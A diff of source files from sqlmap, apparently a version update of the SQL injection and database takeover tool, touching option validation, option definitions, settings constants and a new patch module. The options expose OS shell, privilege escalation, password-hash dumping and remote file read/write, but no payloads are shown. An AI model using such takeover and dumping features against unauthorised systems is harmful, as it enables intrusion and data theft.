if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2580,9 +2427,9 @@ def _basicOptionValidation():
if conf.encoding:
_ = checkCharEncoding(conf.encoding, False)
if _ is None:
errMsg = "unknown charset '%s'. Please visit " % conf.encoding
errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
errMsg += "supported charsets"
errMsg += "supported encodings"
raise SqlmapSyntaxException(errMsg)
else:
conf.encoding = _
@@ -2618,8 +2465,7 @@ def init():
_setRequestFromFile()
_cleanupOptions()
_cleanupEnvironment()
_dirtyPatches()
_purgeOutput()
_purge()
_checkDependencies()
_createTemporaryDirectory()
_basicOptionValidation()
@@ -2628,6 +2474,7 @@ def init():
_setDNSServer()
_adjustLoggingFormatter()
_setMultipleTargets()
_listTamperingFunctions()
_setTamperingFunctions()
_setWafFunctions()
_setTrafficOutputFP()
@@ -2635,10 +2482,10 @@ def init():
_resolveCrossReferences()
_checkWebSocket()
parseTargetUrl()
parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname()
_setHTTPTimeout()
_setHTTPExtraHeaders()
_setHTTPCookies()

View File

@@ -1,255 +1,259 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
optDict = {
# Format:
# Family: { "parameter name": "parameter datatype" },
# Or:
# Family: { "parameter name": ("parameter datatype", "category name used for common outputs feature") },
"Target": {
"direct": "string",
"url": "string",
"logFile": "string",
"bulkFile": "string",
"requestFile": "string",
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
# Family: {"parameter name": "parameter datatype"},
# --OR--
# Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
"Request": {
"method": "string",
"data": "string",
"paramDel": "string",
"cookie": "string",
"cookieDel": "string",
"loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
"randomAgent": "boolean",
"host": "string",
"referer": "string",
"headers": "string",
"authType": "string",
"authCred": "string",
"authFile": "string",
"ignoreCode": "integer",
"ignoreProxy": "boolean",
"ignoreRedirects": "boolean",
"ignoreTimeouts": "boolean",
"proxy": "string",
"proxyCred": "string",
"proxyFile": "string",
"tor": "boolean",
"torPort": "integer",
"torType": "string",
"checkTor": "boolean",
"delay": "float",
"timeout": "float",
"retries": "integer",
"rParam": "string",
"safeUrl": "string",
"safePost": "string",
"safeReqFile": "string",
"safeFreq": "integer",
"skipUrlEncode": "boolean",
"csrfToken": "string",
"csrfUrl": "string",
"forceSSL": "boolean",
"hpp": "boolean",
"evalCode": "string",
},
"Target": {
"direct": "string",
"url": "string",
"logFile": "string",
"bulkFile": "string",
"requestFile": "string",
"sessionFile": "string",
"googleDork": "string",
"configFile": "string",
"sitemapUrl": "string",
},
"Optimization": {
"optimize": "boolean",
"predictOutput": "boolean",
"keepAlive": "boolean",
"nullConnection": "boolean",
"threads": "integer",
},
"Request": {
"method": "string",
"data": "string",
"paramDel": "string",
"cookie": "string",
"cookieDel": "string",
"loadCookies": "string",
"dropSetCookie": "boolean",
"agent": "string",
"randomAgent": "boolean",
"host": "string",
"referer": "string",
"headers": "string",
"authType": "string",
"authCred": "string",
"authFile": "string",
"ignoreCode": "integer",
"ignoreProxy": "boolean",
"ignoreRedirects": "boolean",
"ignoreTimeouts": "boolean",
"proxy": "string",
"proxyCred": "string",
"proxyFile": "string",
"tor": "boolean",
"torPort": "integer",
"torType": "string",
"checkTor": "boolean",
"delay": "float",
"timeout": "float",
"retries": "integer",
"rParam": "string",
"safeUrl": "string",
"safePost": "string",
"safeReqFile": "string",
"safeFreq": "integer",
"skipUrlEncode": "boolean",
"csrfToken": "string",
"csrfUrl": "string",
"forceSSL": "boolean",
"hpp": "boolean",
"evalCode": "string",
},
"Injection": {
"testParameter": "string",
"skip": "string",
"skipStatic": "boolean",
"paramExclude": "string",
"dbms": "string",
"dbmsCred": "string",
"os": "string",
"invalidBignum": "boolean",
"invalidLogical": "boolean",
"invalidString": "boolean",
"noCast": "boolean",
"noEscape": "boolean",
"prefix": "string",
"suffix": "string",
"tamper": "string",
},
"Optimization": {
"optimize": "boolean",
"predictOutput": "boolean",
"keepAlive": "boolean",
"nullConnection": "boolean",
"threads": "integer",
},
"Detection": {
"level": "integer",
"risk": "integer",
"string": "string",
"notString": "string",
"regexp": "string",
"code": "integer",
"textOnly": "boolean",
"titles": "boolean",
},
"Injection": {
"testParameter": "string",
"skip": "string",
"skipStatic": "boolean",
"paramExclude": "string",
"dbms": "string",
"dbmsCred": "string",
"os": "string",
"invalidBignum": "boolean",
"invalidLogical": "boolean",
"invalidString": "boolean",
"noCast": "boolean",
"noEscape": "boolean",
"prefix": "string",
"suffix": "string",
"tamper": "string",
},
"Techniques": {
"tech": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
"dnsDomain": "string",
"secondOrder": "string",
},
"Detection": {
"level": "integer",
"risk": "integer",
"string": "string",
"notString": "string",
"regexp": "string",
"code": "integer",
"textOnly": "boolean",
"titles": "boolean",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
"Techniques": {
"tech": "string",
"timeSec": "integer",
"uCols": "string",
"uChar": "string",
"uFrom": "string",
"dnsDomain": "string",
"secondUrl": "string",
"secondReq": "string",
},
"Enumeration": {
"getAll": "boolean",
"getBanner": ("boolean", "Banners"),
"getCurrentUser": ("boolean", "Users"),
"getCurrentDb": ("boolean", "Databases"),
"getHostname": "boolean",
"isDba": "boolean",
"getUsers": ("boolean", "Users"),
"getPasswordHashes": ("boolean", "Passwords"),
"getPrivileges": ("boolean", "Privileges"),
"getRoles": ("boolean", "Roles"),
"getDbs": ("boolean", "Databases"),
"getTables": ("boolean", "Tables"),
"getColumns": ("boolean", "Columns"),
"getSchema": "boolean",
"getCount": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"search": "boolean",
"getComments": "boolean",
"db": "string",
"tbl": "string",
"col": "string",
"excludeCol": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlFile": "string",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
"Brute": {
"commonTables": "boolean",
"commonColumns": "boolean",
},
"Enumeration": {
"getAll": "boolean",
"getBanner": ("boolean", "Banners"),
"getCurrentUser": ("boolean", "Users"),
"getCurrentDb": ("boolean", "Databases"),
"getHostname": "boolean",
"isDba": "boolean",
"getUsers": ("boolean", "Users"),
"getPasswordHashes": ("boolean", "Passwords"),
"getPrivileges": ("boolean", "Privileges"),
"getRoles": ("boolean", "Roles"),
"getDbs": ("boolean", "Databases"),
"getTables": ("boolean", "Tables"),
"getColumns": ("boolean", "Columns"),
"getSchema": "boolean",
"getCount": "boolean",
"dumpTable": "boolean",
"dumpAll": "boolean",
"search": "boolean",
"getComments": "boolean",
"db": "string",
"tbl": "string",
"col": "string",
"exclude": "string",
"pivotColumn": "string",
"dumpWhere": "string",
"user": "string",
"excludeSysDbs": "boolean",
"limitStart": "integer",
"limitStop": "integer",
"firstChar": "integer",
"lastChar": "integer",
"query": "string",
"sqlShell": "boolean",
"sqlFile": "string",
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string",
},
"Brute": {
"commonTables": "boolean",
"commonColumns": "boolean",
},
"File system": {
"rFile": "string",
"wFile": "string",
"dFile": "string",
},
"User-defined function": {
"udfInject": "boolean",
"shLib": "string",
},
"Takeover": {
"osCmd": "string",
"osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
"File system": {
"fileRead": "string",
"fileWrite": "string",
"fileDest": "string",
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string",
},
"Takeover": {
"osCmd": "string",
"osShell": "boolean",
"osPwn": "boolean",
"osSmb": "boolean",
"osBof": "boolean",
"privEsc": "boolean",
"msfPath": "string",
"tmpPath": "string",
},
"General": {
#"xmlFile": "string",
"trafficFile": "string",
"batch": "boolean",
"binaryFields": "string",
"charset": "string",
"checkInternet": "boolean",
"crawlDepth": "integer",
"crawlExclude": "string",
"csvDel": "string",
"dumpFormat": "string",
"encoding": "string",
"eta": "boolean",
"flushSession": "boolean",
"forms": "boolean",
"freshQueries": "boolean",
"harFile": "string",
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
"testSkip": "string",
"updateAll": "boolean",
},
"Windows": {
"regRead": "boolean",
"regAdd": "boolean",
"regDel": "boolean",
"regKey": "string",
"regVal": "string",
"regData": "string",
"regType": "string",
},
"Miscellaneous": {
"alert": "string",
"answers": "string",
"beep": "boolean",
"cleanup": "boolean",
"dependencies": "boolean",
"disableColoring": "boolean",
"googlePage": "integer",
"identifyWaf": "boolean",
"mobile": "boolean",
"offline": "boolean",
"purgeOutput": "boolean",
"skipWaf": "boolean",
"smart": "boolean",
"tmpDir": "string",
"webRoot": "string",
"wizard": "boolean",
"verbose": "integer",
},
"Hidden": {
"dummy": "boolean",
"disablePrecon": "boolean",
"profile": "boolean",
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
"runCase": "string",
},
"API": {
"api": "boolean",
"taskid": "string",
"database": "string",
}
}
"General": {
# "xmlFile": "string",
"trafficFile": "string",
"batch": "boolean",
"binaryFields": "string",
"charset": "string",
"checkInternet": "boolean",
"crawlDepth": "integer",
"crawlExclude": "string",
"csvDel": "string",
"dumpFormat": "string",
"encoding": "string",
"eta": "boolean",
"flushSession": "boolean",
"forms": "boolean",
"freshQueries": "boolean",
"harFile": "string",
"hexConvert": "boolean",
"outputDir": "string",
"parseErrors": "boolean",
"saveConfig": "string",
"scope": "string",
"testFilter": "string",
"testSkip": "string",
"updateAll": "boolean",
},
"Miscellaneous": {
"alert": "string",
"answers": "string",
"beep": "boolean",
"cleanup": "boolean",
"dependencies": "boolean",
"disableColoring": "boolean",
"googlePage": "integer",
"identifyWaf": "boolean",
"listTampers": "boolean",
"mobile": "boolean",
"offline": "boolean",
"purge": "boolean",
"skipWaf": "boolean",
"smart": "boolean",
"tmpDir": "string",
"webRoot": "string",
"wizard": "boolean",
"verbose": "integer",
},
"Hidden": {
"dummy": "boolean",
"disablePrecon": "boolean",
"profile": "boolean",
"forceDns": "boolean",
"murphyRate": "integer",
"smokeTest": "boolean",
"liveTest": "boolean",
"stopFail": "boolean",
"runCase": "string",
},
"API": {
"api": "boolean",
"taskid": "string",
"database": "string",
}
}

26
lib/core/patch.py Normal file
View File

@@ -0,0 +1,26 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import httplib
from lib.core.settings import IS_WIN
def dirtyPatches():
"""
Place for "dirty" Python related patches
"""
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
httplib._MAXLINE = 1 * 1024 * 1024
# add support for inet_pton() on Windows OS
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
"""
try:
__import__("gobject")
from thirdparty.gprof2dot import gprof2dot
from thirdparty.xdot import xdot
import gobject
import gtk
import pydot
except ImportError, e:
@@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
if os.path.exists(imageOutputFile):
os.remove(imageOutputFile)
infoMsg = "profiling the execution into file %s" % profileOutputFile
infoMsg = "profiling the execution into file '%s'" % profileOutputFile
logger.info(infoMsg)
# Start sqlmap main function and generate a raw profile file
@@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
if isinstance(pydotGraph, list):
pydotGraph = pydotGraph[0]
pydotGraph.write_png(imageOutputFile)
try:
pydotGraph.write_png(imageOutputFile)
except OSError:
errMsg = "profiling requires graphviz installed "
errMsg += "(Hint: 'sudo apt-get install graphviz')"
logger.error(errMsg)
else:
infoMsg = "displaying interactive graph with xdot library"
logger.info(infoMsg)
infoMsg = "displaying interactive graph with xdot library"
logger.info(infoMsg)
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
# http://code.google.com/p/jrfonseca/wiki/XDot
win = xdot.DotWindow()
win.connect('destroy', gtk.main_quit)
win.set_filter("dot")
win.open_file(dotOutputFile)
gtk.main()
# Display interactive Graphviz dot file by using extra/xdot/xdot.py
# http://code.google.com/p/jrfonseca/wiki/XDot
win = xdot.DotWindow()
win.connect('destroy', gtk.main_quit)
win.set_filter("dot")
win.open_file(dotOutputFile)
gtk.main()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -14,11 +14,11 @@ _readline = None
try:
from readline import *
import readline as _readline
except ImportError:
except:
try:
from pyreadline import *
import pyreadline as _readline
except ImportError:
except:
pass
if IS_WIN and _readline:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
@@ -19,16 +19,18 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.1.11.0"
VERSION = "1.2.12.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org"
DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE)
DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git"
GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner
BANNER = """\033[01;33m\
@@ -44,10 +46,10 @@ BANNER = """\033[01;33m\
DIFF_TOLERANCE = 0.05
CONSTANT_RATIO = 0.9
# Ratio used in heuristic check for WAF/IPS/IDS protected targets
# Ratio used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS/IDS protected targets
# Timeout used in heuristic check for WAF/IPS protected targets
IDS_WAF_CHECK_TIMEOUT = 10
# Lower and upper values for match ratio in case of stable page
@@ -70,22 +72,26 @@ RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]"
SLEEP_TIME_MARKER = "[SLEEPTIME]"
INFERENCE_MARKER = "[INFERENCE]"
SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
CHAR_INFERENCE_MARK = "%c"
PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"
# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>([\w.]|`[^`<>]+`)+)"
SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)"
# Regular expression used for recognition of textual content-type
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
# Regular expression used for recognition of generic permission messages
PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied"
PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
# Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"max.+connections"
MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
# Maximum consecutive connection errors before asking the user if he wants to continue
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
@@ -93,6 +99,9 @@ MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it)
PRECONNECT_CANDIDATE_TIMEOUT = 10
# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support)
PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP",)
# Maximum sleep time in "Murphy" (testing) mode
MAX_MURPHY_SLEEP_TIME = 3
@@ -166,6 +175,9 @@ PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3
# Minimum time response set needed for time-comparison based on standard deviation
MIN_TIME_RESPONSES = 30
# Maximum time response set used during time-comparison based on standard deviation
MAX_TIME_RESPONSES = 200
# Minimum comparison ratio set needed for searching valid union column number based on standard deviation
MIN_UNION_RESPONSES = 5
@@ -193,8 +205,8 @@ UNKNOWN_DBMS = "Unknown"
# String used for representation of unknown DBMS version
UNKNOWN_DBMS_VERSION = "Unknown"
# Dynamicity mark length used in dynamicity removal engine
DYNAMICITY_MARK_LENGTH = 32
# Dynamicity boundary length used in dynamicity removal engine
DYNAMICITY_BOUNDARY_LENGTH = 20
# Dummy user prefix used in dictionary attack
DUMMY_USER_PREFIX = "__dummy__"
@@ -202,6 +214,11 @@ DUMMY_USER_PREFIX = "__dummy__"
# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
DEFAULT_PAGE_ENCODING = "iso-8859-1"
try:
unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING)
except LookupError:
DEFAULT_PAGE_ENCODING = "utf8"
# URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1"
@@ -216,7 +233,7 @@ PYVERSION = sys.version.split()[0]
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/
ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -224,6 +241,7 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
H2_SYSTEM_DBS = ("INFORMATION_SCHEMA")
INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
@@ -237,20 +255,21 @@ MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
SYBASE_ALIASES = ("sybase", "sybase sql server")
DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
H2_ALIASES = ("h2",)
INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + INFORMIX_ALIASES
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
SUPPORTED_OS = ("linux", "windows")
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES))
DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
REFERER_ALIASES = ("ref", "referer", "referrer")
HOST_ALIASES = ("host",)
HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
# Names that can't be used to name files on Windows OS
WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9")
@@ -291,6 +310,10 @@ BASIC_HELP_ITEMS = (
"wizard",
)
# Tags used for value replacements inside shell scripts
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
# String representation for NULL value
NULL = "NULL"
@@ -300,13 +323,17 @@ BLANK = "<blank>"
# String representation for current database
CURRENT_DB = "CD"
# Name of SQLite file used for storing session data
SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
# Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = (
r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P<result>[^<]+)",
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>",
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -348,10 +375,10 @@ URI_HTTP_HEADER = "URI"
URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
# Regex used for masking sensitive data
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
SENSITIVE_DATA_REGEX = r"(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "fileRead", "fileWrite", "fileDest", "testParameter", "authCred")
# Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10
@@ -372,7 +399,7 @@ CANDIDATE_SENTENCE_MIN_LENGTH = 10
CUSTOM_INJECTION_MARK_CHAR = '*'
# Other way to declare injection position
